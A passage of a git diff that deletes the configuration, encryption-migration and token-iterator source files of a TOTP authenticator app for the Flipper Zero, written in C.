fff_data_file, - TOTP_CONFIG_KEY_CRYPTO_VERIFY, - plugin_state->crypto_settings.crypto_verify_data, - crypto_size)) { - FURI_LOG_D(LOGGING_TAG, "Missing crypto verify token"); - free(plugin_state->crypto_settings.crypto_verify_data); - plugin_state->crypto_settings.crypto_verify_data = NULL; - plugin_state->crypto_settings.crypto_verify_data_length = 0; - } - } else { - plugin_state->crypto_settings.crypto_verify_data = NULL; - plugin_state->crypto_settings.crypto_verify_data_length = 0; - } - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_float( - fff_data_file, TOTP_CONFIG_KEY_TIMEZONE, &plugin_state->timezone_offset, 1)) { - plugin_state->timezone_offset = 0; - FURI_LOG_D(LOGGING_TAG, "Missing timezone offset information, defaulting to 0"); - } - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_bool( - fff_data_file, - TOTP_CONFIG_KEY_PINSET, - &plugin_state->crypto_settings.pin_required, - 1)) { - plugin_state->crypto_settings.pin_required = true; - } - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_uint32( - fff_data_file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, &tmp_uint32, 1)) { - tmp_uint32 = NotificationMethodSound | NotificationMethodVibro; - } - - plugin_state->notification_method = tmp_uint32; - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_uint32( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { - tmp_uint32 = AutomationMethodBadUsb; - } - - plugin_state->automation_method = tmp_uint32; - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_uint32( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, &tmp_uint32, 1)) { - tmp_uint32 = AutomationKeyboardLayoutQWERTY; - } - - plugin_state->automation_kb_layout = tmp_uint32; - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_uint32(fff_data_file, TOTP_CONFIG_KEY_FONT, &tmp_uint32, 1)) { - tmp_uint32 = 0; - } - - plugin_state->active_font_index = tmp_uint32; - - plugin_state->config_file_context = malloc(sizeof(ConfigFileContext)); - furi_check(plugin_state->config_file_context != NULL); - plugin_state->config_file_context->storage = storage; - plugin_state->config_file_context->config_file = fff_data_file; - plugin_state->config_file_context->token_info_iterator_context = - totp_token_info_iterator_alloc( - storage, - plugin_state->config_file_context->config_file, - &plugin_state->crypto_settings); - result = true; - } while(false); - - furi_string_free(temp_str); - return result; -} - -bool totp_config_file_update_crypto_signatures(const PluginState* plugin_state) { - FlipperFormat* config_file = plugin_state->config_file_context->config_file; - flipper_format_rewind(config_file); - bool update_result = false; - do { - uint32_t tmp_uint32 = plugin_state->crypto_settings.crypto_version; - if(!flipper_format_insert_or_update_uint32( - config_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = plugin_state->crypto_settings.crypto_key_slot; - if(!flipper_format_insert_or_update_uint32( - config_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, &tmp_uint32, 1)) { - break; - } - - if(!flipper_format_insert_or_update_hex( - config_file, - TOTP_CONFIG_KEY_BASE_IV, - plugin_state->crypto_settings.base_iv, - CRYPTO_IV_LENGTH)) { - break; - } - - if(!flipper_format_insert_or_update_hex( - config_file, - TOTP_CONFIG_KEY_CRYPTO_VERIFY, - plugin_state->crypto_settings.crypto_verify_data, - plugin_state->crypto_settings.crypto_verify_data_length)) { - break; - } - - if(!flipper_format_insert_or_update_bool( - config_file, - TOTP_CONFIG_KEY_PINSET, - &plugin_state->crypto_settings.pin_required, - 1)) { - break; - } - - update_result = true; - } while(false); - - return update_result; -} - -void totp_config_file_close(PluginState* const plugin_state) { - if(plugin_state->config_file_context == NULL) return; - totp_token_info_iterator_free(plugin_state->config_file_context->token_info_iterator_context); - totp_close_config_file(plugin_state->config_file_context->config_file); - free(plugin_state->config_file_context); - plugin_state->config_file_context = NULL; - totp_close_storage(); -} - -void totp_config_file_reset(PluginState* const plugin_state) { - totp_config_file_close(plugin_state); - Storage* storage = totp_open_storage(); - storage_simply_remove(storage, CONFIG_FILE_PATH); - totp_close_storage(); -} - -bool totp_config_file_update_encryption( - PluginState* plugin_state, - uint8_t new_crypto_key_slot, - const uint8_t* new_pin, - uint8_t new_pin_length) { - FlipperFormat* config_file = plugin_state->config_file_context->config_file; - Stream* stream = flipper_format_get_raw_stream(config_file); - size_t original_offset = stream_tell(stream); - if(!stream_rewind(stream)) { - return false; - } - - if(!totp_crypto_check_key_slot(new_crypto_key_slot)) { - return false; - } - - CryptoSettings old_crypto_settings = plugin_state->crypto_settings; - - memset(&plugin_state->crypto_settings.iv[0], 0, CRYPTO_IV_LENGTH); - memset(&plugin_state->crypto_settings.base_iv[0], 0, CRYPTO_IV_LENGTH); - if(plugin_state->crypto_settings.crypto_verify_data != NULL) { - free(plugin_state->crypto_settings.crypto_verify_data); - plugin_state->crypto_settings.crypto_verify_data = NULL; - } - - plugin_state->crypto_settings.crypto_key_slot = new_crypto_key_slot; - plugin_state->crypto_settings.crypto_version = CRYPTO_LATEST_VERSION; - - CryptoSeedIVResult seed_result = totp_crypto_seed_iv( - &plugin_state->crypto_settings, new_pin_length > 0 ? new_pin : NULL, new_pin_length); - if(seed_result & CryptoSeedIVResultFlagSuccess && - seed_result & CryptoSeedIVResultFlagNewCryptoVerifyData && - !totp_config_file_update_crypto_signatures(plugin_state)) { - return false; - } else if(seed_result == CryptoSeedIVResultFailed) { - return false; - } - - char buffer[sizeof(TOTP_CONFIG_KEY_TOKEN_SECRET) + 1]; - bool result = true; - - while(true) { - if(!stream_seek_to_char(stream, '\n', StreamDirectionForward)) { - break; - } - - size_t buffer_read_size; - if((buffer_read_size = stream_read(stream, (uint8_t*)&buffer[0], sizeof(buffer))) == 0) { - break; - } - - if(!stream_seek(stream, -(int32_t)buffer_read_size, StreamOffsetFromCurrent)) { - result = false; - break; - } - - if(strncmp(buffer, "\n" TOTP_CONFIG_KEY_TOKEN_SECRET ":", sizeof(buffer)) == 0) { - uint32_t secret_bytes_count; - if(!flipper_format_get_value_count( - config_file, TOTP_CONFIG_KEY_TOKEN_SECRET, &secret_bytes_count)) { - secret_bytes_count = 0; - } - - if(secret_bytes_count > 1) { - size_t secret_token_start = stream_tell(stream) + 1; - uint8_t* encrypted_token = malloc(secret_bytes_count); - furi_check(encrypted_token != NULL); - - if(!flipper_format_read_hex( - config_file, - TOTP_CONFIG_KEY_TOKEN_SECRET, - encrypted_token, - secret_bytes_count)) { - result = false; - free(encrypted_token); - break; - } - - size_t plain_token_length; - uint8_t* plain_token = totp_crypto_decrypt( - encrypted_token, secret_bytes_count, &old_crypto_settings, &plain_token_length); - - free(encrypted_token); - size_t encrypted_token_length; - encrypted_token = totp_crypto_encrypt( - plain_token, - plain_token_length, - &plugin_state->crypto_settings, - &encrypted_token_length); - - memset_s(plain_token, plain_token_length, 0, plain_token_length); - free(plain_token); - - if(!stream_seek(stream, secret_token_start, StreamOffsetFromStart)) { - result = false; - free(encrypted_token); - break; - } - - if(!flipper_format_write_hex( - config_file, - TOTP_CONFIG_KEY_TOKEN_SECRET, - encrypted_token, - encrypted_token_length)) { - free(encrypted_token); - result = false; - break; - } - - free(encrypted_token); - } - } - } - - stream_seek(stream, original_offset, StreamOffsetFromStart); - - return result; -} - -bool totp_config_file_ensure_latest_encryption( - PluginState* plugin_state, - const uint8_t* pin, - uint8_t pin_length) { - bool result = true; - if(plugin_state->crypto_settings.crypto_version < CRYPTO_LATEST_VERSION) { - FURI_LOG_I(LOGGING_TAG, "Migration to crypto v%d is needed", CRYPTO_LATEST_VERSION); - char* backup_path = totp_config_file_backup(plugin_state); - if(backup_path != NULL) { - free(backup_path); - uint8_t crypto_key_slot = plugin_state->crypto_settings.crypto_key_slot; - if(!totp_crypto_check_key_slot(crypto_key_slot)) { - crypto_key_slot = DEFAULT_CRYPTO_KEY_SLOT; - } - - result = - totp_config_file_update_encryption(plugin_state, crypto_key_slot, pin, pin_length); - FURI_LOG_I( - LOGGING_TAG, - "Migration to crypto v%d is done. Result: %d", - CRYPTO_LATEST_VERSION, - result); - } else { - result = false; - } - } - - return result; -} - -TokenInfoIteratorContext* totp_config_get_token_iterator_context(const PluginState* plugin_state) { - return plugin_state->config_file_context->token_info_iterator_context; -} \ No newline at end of file diff --git a/applications/external/totp/services/config/config.h b/applications/external/totp/services/config/config.h deleted file mode 100644 index 38bc06ba2..000000000 --- a/applications/external/totp/services/config/config.h +++ /dev/null @@ -1,104 +0,0 @@ -#pragma once - -#include "../../types/plugin_state.h" -#include "../../types/token_info.h" -#include "config_file_context.h" -#include "constants.h" -#include "token_info_iterator.h" - -typedef uint8_t TotpConfigFileOpenResult; -typedef uint8_t TotpConfigFileUpdateResult; - -/** - * @brief Tries to take a config file backup - * @param plugin_state application state - * @return backup path if backup successfully taken; \c NULL otherwise - */ -char* totp_config_file_backup(const PluginState* plugin_state); - -/** - * @brief Loads basic information from an application config file into application state without loading all the tokens - * @param plugin_state application state - * @return Config file open result - */ -bool totp_config_file_load(PluginState* const plugin_state); - -/** - * @brief Updates timezone offset in an application config file - * @param plugin_state application state - * @return Config file update result - */ -bool totp_config_file_update_timezone_offset(const PluginState* plugin_state); - -/** - * @brief Updates notification method in an application config file - * @param plugin_state application state - * @return Config file update result - */ -bool totp_config_file_update_notification_method(const PluginState* plugin_state); - -/** - * @brief Updates automation method in an application config file - * @param plugin_state application state - * @return Config file update result - */ -bool totp_config_file_update_automation_method(const PluginState* plugin_state); - -/** - * @brief Updates application user settings - * @param plugin_state application state - * @return Config file update result - */ -bool totp_config_file_update_user_settings(const PluginState* plugin_state); - -/** - * @brief Updates crypto signatures information - * @param plugin_state application state - * @return Config file update result - */ -bool totp_config_file_update_crypto_signatures(const PluginState* plugin_state); - -/** - * @brief Reset all the settings to default - * @param plugin_state application state - */ -void totp_config_file_reset(PluginState* const plugin_state); - -/** - * @brief Closes config file and releases all the resources - * @param plugin_state application state - */ -void totp_config_file_close(PluginState* const plugin_state); - -/** - * @brief Updates config file encryption by re-encrypting it using new user's PIN and new randomly generated IV - * @param plugin_state application state - * @param new_crypto_key_slot new crypto key slot to be used - * @param new_pin new user's PIN - * @param new_pin_length new user's PIN length - * @return \c true if config file encryption successfully updated; \c false otherwise - */ -bool totp_config_file_update_encryption( - PluginState* plugin_state, - uint8_t new_crypto_key_slot, - const uint8_t* new_pin, - uint8_t new_pin_length); - -/** - * @brief Ensures application config file uses latest encryption and upgrades encryption if needed - * @param plugin_state application state - * @param pin user's PIN - * @param pin_length user's PIN length - * @return \c true if operation succeeded; \c false otherwise - */ -bool totp_config_file_ensure_latest_encryption( - PluginState* plugin_state, - const uint8_t* pin, - uint8_t pin_length); - -/** - * @brief Gets token info iterator context - * @param plugin_state application state - * @return token info iterator context - */ -TokenInfoIteratorContext* totp_config_get_token_iterator_context(const PluginState* plugin_state); \ No newline at end of file diff --git a/applications/external/totp/services/config/config_file_context.h b/applications/external/totp/services/config/config_file_context.h deleted file mode 100644 index 98badbcbb..000000000 --- a/applications/external/totp/services/config/config_file_context.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -typedef struct ConfigFileContext ConfigFileContext; \ No newline at end of file diff --git a/applications/external/totp/services/config/constants.h b/applications/external/totp/services/config/constants.h deleted file mode 100644 index 1205bae07..000000000 --- a/applications/external/totp/services/config/constants.h +++ /dev/null @@ -1,24 +0,0 @@ -#pragma once - -#include - -#define CONFIG_FILE_DIRECTORY_PATH STORAGE_APP_DATA_PATH_PREFIX -#define CONFIG_FILE_HEADER "Flipper TOTP plugin config file" -#define CONFIG_FILE_ACTUAL_VERSION (8) - -#define TOTP_CONFIG_KEY_TIMEZONE "Timezone" -#define TOTP_CONFIG_KEY_TOKEN_NAME "TokenName" -#define TOTP_CONFIG_KEY_TOKEN_SECRET "TokenSecret" -#define TOTP_CONFIG_KEY_TOKEN_ALGO "TokenAlgo" -#define TOTP_CONFIG_KEY_TOKEN_DIGITS "TokenDigits" -#define TOTP_CONFIG_KEY_TOKEN_DURATION "TokenDuration" -#define TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES "TokenAutomationFeatures" -#define TOTP_CONFIG_KEY_CRYPTO_VERIFY "Crypto" -#define TOTP_CONFIG_KEY_BASE_IV "BaseIV" -#define TOTP_CONFIG_KEY_PINSET "PinIsSet" -#define TOTP_CONFIG_KEY_NOTIFICATION_METHOD "NotificationMethod" -#define TOTP_CONFIG_KEY_AUTOMATION_METHOD "AutomationMethod" -#define TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT "AutomationKbLayout" -#define TOTP_CONFIG_KEY_FONT "Font" -#define TOTP_CONFIG_KEY_CRYPTO_VERSION "CryptoVersion" -#define TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT "CryptoKeySlot" diff --git a/applications/external/totp/services/config/migrations/common_migration.c b/applications/external/totp/services/config/migrations/common_migration.c deleted file mode 100644 index 4a12cbd3a..000000000 --- a/applications/external/totp/services/config/migrations/common_migration.c +++ /dev/null @@ -1,192 +0,0 @@ -#include "common_migration.h" -#include "../constants.h" -#include "../../../types/token_info.h" -#include "../../../types/automation_kb_layout.h" -#include - -bool totp_config_migrate_to_latest( - FlipperFormat* fff_data_file, - FlipperFormat* fff_backup_data_file) { - FuriString* temp_str = furi_string_alloc(); - uint32_t current_version = 0; - bool result = false; - do { - flipper_format_write_header_cstr( - fff_data_file, CONFIG_FILE_HEADER, CONFIG_FILE_ACTUAL_VERSION); - - if(!flipper_format_read_header(fff_backup_data_file, temp_str, ¤t_version)) { - break; - } - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, temp_str); - } else { - uint32_t old_crypto_version = 1; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, &old_crypto_version, 1); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, temp_str); - } else { - uint32_t default_old_key_slot = 2; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, &default_old_key_slot, 1); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string(fff_backup_data_file, TOTP_CONFIG_KEY_BASE_IV, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_BASE_IV, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_CRYPTO_VERIFY, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERIFY, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string(fff_backup_data_file, TOTP_CONFIG_KEY_TIMEZONE, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_TIMEZONE, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string(fff_backup_data_file, TOTP_CONFIG_KEY_PINSET, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_PINSET, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, temp_str)) { - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, temp_str)) { - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string(fff_backup_data_file, TOTP_CONFIG_KEY_FONT, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_FONT, temp_str); - } else { - uint32_t default_font_index = 0; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_FONT, &default_font_index, 1); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, temp_str)) { - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, temp_str); - } else { - uint32_t default_automation_kb_layout = AutomationKeyboardLayoutQWERTY; - flipper_format_write_uint32( - fff_data_file, - TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, - &default_automation_kb_layout, - 1); - } - - flipper_format_rewind(fff_backup_data_file); - - while(true) { - if(!flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_NAME, temp_str)) { - break; - } - - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_TOKEN_NAME, temp_str); - - flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_SECRET, temp_str); - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_TOKEN_SECRET, temp_str); - - if(current_version > 1) { - flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_ALGO, temp_str); - - if(current_version < 5) { - uint32_t algo_as_uint32t = TokenHashAlgoDefault; - if(furi_string_cmpi_str(temp_str, TOKEN_HASH_ALGO_SHA256_NAME) == 0) { - algo_as_uint32t = TokenHashAlgoSha256; - } else if(furi_string_cmpi_str(temp_str, TOKEN_HASH_ALGO_SHA512_NAME) == 0) { - algo_as_uint32t = TokenHashAlgoSha512; - } else if(furi_string_cmpi_str(temp_str, TOKEN_HASH_ALGO_STEAM_NAME) == 0) { - algo_as_uint32t = TokenHashAlgoSteam; - } - - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_ALGO, &algo_as_uint32t, 1); - } else { - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_ALGO, temp_str); - } - - flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_DIGITS, temp_str); - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_TOKEN_DIGITS, temp_str); - } else { - const uint32_t default_algo = TokenHashAlgoDefault; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_ALGO, &default_algo, 1); - const uint32_t default_digits = TokenDigitsCountSix; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_DIGITS, &default_digits, 1); - } - - if(current_version > 2) { - flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_DURATION, temp_str); - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_DURATION, temp_str); - } else { - const uint32_t default_duration = TokenDurationDefault; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_DURATION, &default_duration, 1); - } - - if(current_version > 3) { - flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES, temp_str); - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES, temp_str); - } else { - const uint32_t default_automation_features = TokenAutomationFeatureNone; - flipper_format_write_uint32( - fff_data_file, - TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES, - &default_automation_features, - 1); - } - } - - Stream* stream = flipper_format_get_raw_stream(fff_data_file); - size_t current_pos = stream_tell(stream); - size_t total_size = stream_size(stream); - if(current_pos < total_size) { - stream_delete(stream, total_size - current_pos); - } - - result = true; - } while(false); - - furi_string_free(temp_str); - return result; -} \ No newline at end of file diff --git a/applications/external/totp/services/config/migrations/common_migration.h b/applications/external/totp/services/config/migrations/common_migration.h deleted file mode 100644 index 326277f14..000000000 --- a/applications/external/totp/services/config/migrations/common_migration.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include - -/** - * @brief Migrates config file to the latest version - * @param fff_data_file original config file to be migrated - * @param fff_backup_data_file backup copy of original config file - * @return \c true if operation succeeded; \c false otherwise - */ -bool totp_config_migrate_to_latest( - FlipperFormat* fff_data_file, - FlipperFormat* fff_backup_data_file); diff --git a/applications/external/totp/services/config/token_info_iterator.c b/applications/external/totp/services/config/token_info_iterator.c deleted file mode 100644 index 75424ef43..000000000 --- a/applications/external/totp/services/config/token_info_iterator.c +++ /dev/null @@ -1,550 +0,0 @@ -#include "token_info_iterator.h" - -#include -#include -#include -#include "../../types/common.h" -#include "../../types/crypto_settings.h" - -#define CONFIG_FILE_PART_FILE_PATH CONFIG_FILE_DIRECTORY_PATH "/totp.conf.part" -#define STREAM_COPY_BUFFER_SIZE 128 - -struct TokenInfoIteratorContext { - size_t total_count; - size_t current_index; - size_t last_seek_offset; - size_t last_seek_index; - TokenInfo* current_token; - FlipperFormat* config_file; - CryptoSettings* crypto_settings; - Storage* storage; -}; - -static bool - flipper_format_seek_to_siblinig_token_start(Stream* stream, StreamDirection direction) { - char buffer[sizeof(TOTP_CONFIG_KEY_TOKEN_NAME) + 1]; - bool found = false; - while(!found) { - if(!stream_seek_to_char(stream, '\n', direction)) { - break; - } - - size_t buffer_read_size; - if((buffer_read_size = stream_read(stream, (uint8_t*)&buffer[0], sizeof(buffer))) == 0) { - break; - } - - if(!stream_seek(stream, -(int32_t)buffer_read_size, StreamOffsetFromCurrent)) { - break; - } - - if(strncmp(buffer, "\n" TOTP_CONFIG_KEY_TOKEN_NAME ":", sizeof(buffer)) == 0) { - found = true; - } - } - - return found; -} - -static bool seek_to_token(size_t token_index, TokenInfoIteratorContext* context) { - furi_check(context != NULL && context->config_file != NULL); - if(token_index >= context->total_count) { - return false; - } - - Stream* stream = flipper_format_get_raw_stream(context->config_file); - long token_index_diff = (long)token_index - (long)context->last_seek_index; - size_t token_index_diff_weight = (size_t)labs(token_index_diff); - StreamDirection direction = token_index_diff >= 0 ? StreamDirectionForward : - StreamDirectionBackward; - if(token_index_diff_weight > token_index || context->last_seek_offset == 0) { - context->last_seek_offset = 0; - context->last_seek_index = 0; - token_index_diff = token_index + 1; - direction = StreamDirectionForward; - } else if(token_index_diff_weight > (context->total_count - token_index - 1)) { - context->last_seek_offset = stream_size(stream); - context->last_seek_index = context->total_count - 1; - token_index_diff = -(long)(context->total_count - token_index); - direction = StreamDirectionBackward; - } - - if(!stream_seek(stream, context->last_seek_offset, StreamOffsetFromStart)) { - return false; - } - - if(token_index_diff != 0) { - long i = 0; - long i_inc = token_index_diff >= 0 ? 1 : -1; - do { - if(!flipper_format_seek_to_siblinig_token_start(stream, direction)) { - break; - } - - i += i_inc; - } while((i_inc > 0 && i < token_index_diff) || (i_inc < 0 && i > token_index_diff)); - - if((i_inc > 0 && i < token_index_diff) || (i_inc < 0 && i > token_index_diff)) { - context->last_seek_offset = 0; - FURI_LOG_D(LOGGING_TAG, "Was not able to move"); - return false; - } - - context->last_seek_offset = stream_tell(stream); - context->last_seek_index = token_index; - } - - return true; -} - -static bool stream_insert_stream(Stream* dst, Stream* src) { - uint8_t buffer[STREAM_COPY_BUFFER_SIZE]; - size_t buffer_read_size; - while((buffer_read_size = stream_read(src, buffer, sizeof(buffer))) != 0) { - if(!stream_insert(dst, buffer, buffer_read_size)) { - return false; - } - } - - return true; -} - -static bool ensure_stream_ends_with_lf(Stream* stream) { - uint8_t last_char; - size_t original_pos = stream_tell(stream); - if(!stream_seek(stream, -1, StreamOffsetFromEnd) || stream_read(stream, &last_char, 1) < 1) { - return false; - } - - const uint8_t lf = '\n'; - if(last_char != lf && !stream_write(stream, &lf, 1)) { - return false; - } - - if(!stream_seek(stream, original_pos, StreamOffsetFromStart)) { - return false; - } - - return true; -} - -static bool - totp_token_info_iterator_save_current_token_info_changes(TokenInfoIteratorContext* context) { - bool is_new_token = context->current_index >= context->total_count; - Stream* stream = flipper_format_get_raw_stream(context->config_file); - if(is_new_token) { - if(!ensure_stream_ends_with_lf(stream) || - !flipper_format_seek_to_end(context->config_file)) { - return false; - } - } else { - if(!seek_to_token(context->current_index, context)) { - return false; - } - } - - size_t offset_start = stream_tell(stream); - - size_t offset_end; - if(is_new_token) { - offset_end = offset_start; - } else if(context->current_index + 1 >= context->total_count) { - offset_end = stream_size(stream); - } else if(seek_to_token(context->current_index + 1, context)) { - offset_end = stream_tell(stream); - } else { - return false; - } - - FlipperFormat* temp_ff = flipper_format_file_alloc(context->storage); - if(!flipper_format_file_open_always(temp_ff, CONFIG_FILE_PART_FILE_PATH)) { - flipper_format_free(temp_ff); - return false; - } - - TokenInfo* token_info = context->current_token; - bool result = false; - - do { - if(!flipper_format_write_string(temp_ff, TOTP_CONFIG_KEY_TOKEN_NAME, token_info->name)) { - break; - } - - if(!flipper_format_write_hex( - temp_ff, - TOTP_CONFIG_KEY_TOKEN_SECRET, - token_info->token, - token_info->token_length)) { - break; - } - - uint32_t tmp_uint32 = token_info->algo; - if(!flipper_format_write_uint32(temp_ff, TOTP_CONFIG_KEY_TOKEN_ALGO, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = token_info->digits; - if(!flipper_format_write_uint32(temp_ff, TOTP_CONFIG_KEY_TOKEN_DIGITS, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = token_info->duration; - if(!flipper_format_write_uint32(temp_ff, TOTP_CONFIG_KEY_TOKEN_DURATION, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = token_info->automation_features; - if(!flipper_format_write_uint32( - temp_ff, TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES, &tmp_uint32, 1)) { - break; - } - - Stream* temp_stream = flipper_format_get_raw_stream(temp_ff); - - if(!stream_rewind(temp_stream)) { - break; - } - - if(!stream_seek(stream, offset_start, StreamOffsetFromStart)) { - break; - } - - if(offset_end != offset_start && !stream_delete(stream, offset_end - offset_start)) { - break; - } - - if(!is_new_token && !stream_write_char(stream, '\n')) { - break; - } - - if(!stream_insert_stream(stream, temp_stream)) { - break; - } - - if(is_new_token) { - context->total_count++; - } - - result = true; - } while(false); - - flipper_format_free(temp_ff); - storage_common_remove(context->storage, CONFIG_FILE_PART_FILE_PATH); - - stream_seek(stream, offset_start, StreamOffsetFromStart); - context->last_seek_offset = offset_start; - context->last_seek_index = context->current_index; - - return result; -} - -TokenInfoIteratorContext* totp_token_info_iterator_alloc( - Storage* storage, - FlipperFormat* config_file, - CryptoSettings* crypto_settings) { - Stream* stream = flipper_format_get_raw_stream(config_file); - stream_rewind(stream); - size_t tokens_count = 0; - while(true) { - if(!flipper_format_seek_to_siblinig_token_start(stream, StreamDirectionForward)) { - break; - } - - tokens_count++; - } - - TokenInfoIteratorContext* context = malloc(sizeof(TokenInfoIteratorContext)); - furi_check(context != NULL); - - context->total_count = tokens_count; - context->current_token = token_info_alloc(); - context->config_file = config_file; - context->crypto_settings = crypto_settings; - context->storage = storage; - return context; -} - -void totp_token_info_iterator_free(TokenInfoIteratorContext* context) { - if(context == NULL) return; - token_info_free(context->current_token); - free(context); -} - -bool totp_token_info_iterator_remove_current_token_info(TokenInfoIteratorContext* context) { - if(!seek_to_token(context->current_index, context)) { - return false; - } - - Stream* stream = flipper_format_get_raw_stream(context->config_file); - size_t begin_offset = stream_tell(stream); - size_t end_offset; - if(!ensure_stream_ends_with_lf(stream)) { - return false; - } - - if(context->current_index >= context->total_count - 1) { - end_offset = stream_size(stream) - 1; - } else if(seek_to_token(context->current_index + 1, context)) { - end_offset = stream_tell(stream); - } else { - return false; - } - - if(!stream_seek(stream, begin_offset, StreamOffsetFromStart) || - !stream_delete(stream, end_offset - begin_offset)) { - return false; - } - - context->total_count--; - if(context->current_index >= context->total_count) { - context->current_index = context->total_count - 1; - } - - return true; -} - -bool totp_token_info_iterator_move_current_token_info( - TokenInfoIteratorContext* context, - size_t new_index) { - if(context->current_index == new_index) return true; - - Stream* stream = flipper_format_get_raw_stream(context->config_file); - - if(!ensure_stream_ends_with_lf(stream)) { - return false; - } - - if(!seek_to_token(context->current_index, context)) { - return false; - } - - size_t begin_offset = stream_tell(stream); - size_t end_offset; - if(context->current_index >= context->total_count - 1) { - end_offset = stream_size(stream) - 1; - } else if(seek_to_token(context->current_index + 1, context)) { - end_offset = stream_tell(stream); - } else { - return false; - } - - Stream* temp_stream = file_stream_alloc(context->storage); - if(!file_stream_open( - temp_stream, CONFIG_FILE_PART_FILE_PATH, FSAM_READ_WRITE, FSOM_CREATE_ALWAYS)) { - stream_free(temp_stream); - return false; - } - - size_t moving_size = end_offset - begin_offset; - - bool result = false; - do { - if(!stream_seek(stream, begin_offset, StreamOffsetFromStart)) { - break; - } - - if(stream_copy(stream, temp_stream, moving_size) < moving_size) { - break; - } - - if(!stream_rewind(temp_stream)) { - break; - } - - if(!stream_seek(stream, begin_offset, StreamOffsetFromStart)) { - break; - } - - if(!stream_delete(stream, moving_size)) { - break; - } - - context->last_seek_offset = 0; - context->last_seek_index = 0; - if(new_index >= context->total_count - 1) { - if(!stream_seek(stream, stream_size(stream) - 1, StreamOffsetFromStart)) { - break; - } - } else if(!seek_to_token(new_index, context)) { - break; - } - - result = stream_insert_stream(stream, temp_stream); - } while(false); - - stream_free(temp_stream); - storage_common_remove(context->storage, CONFIG_FILE_PART_FILE_PATH); - - context->last_seek_offset = 0; - context->last_seek_index = 0; - - return result; -} - -TotpIteratorUpdateTokenResult 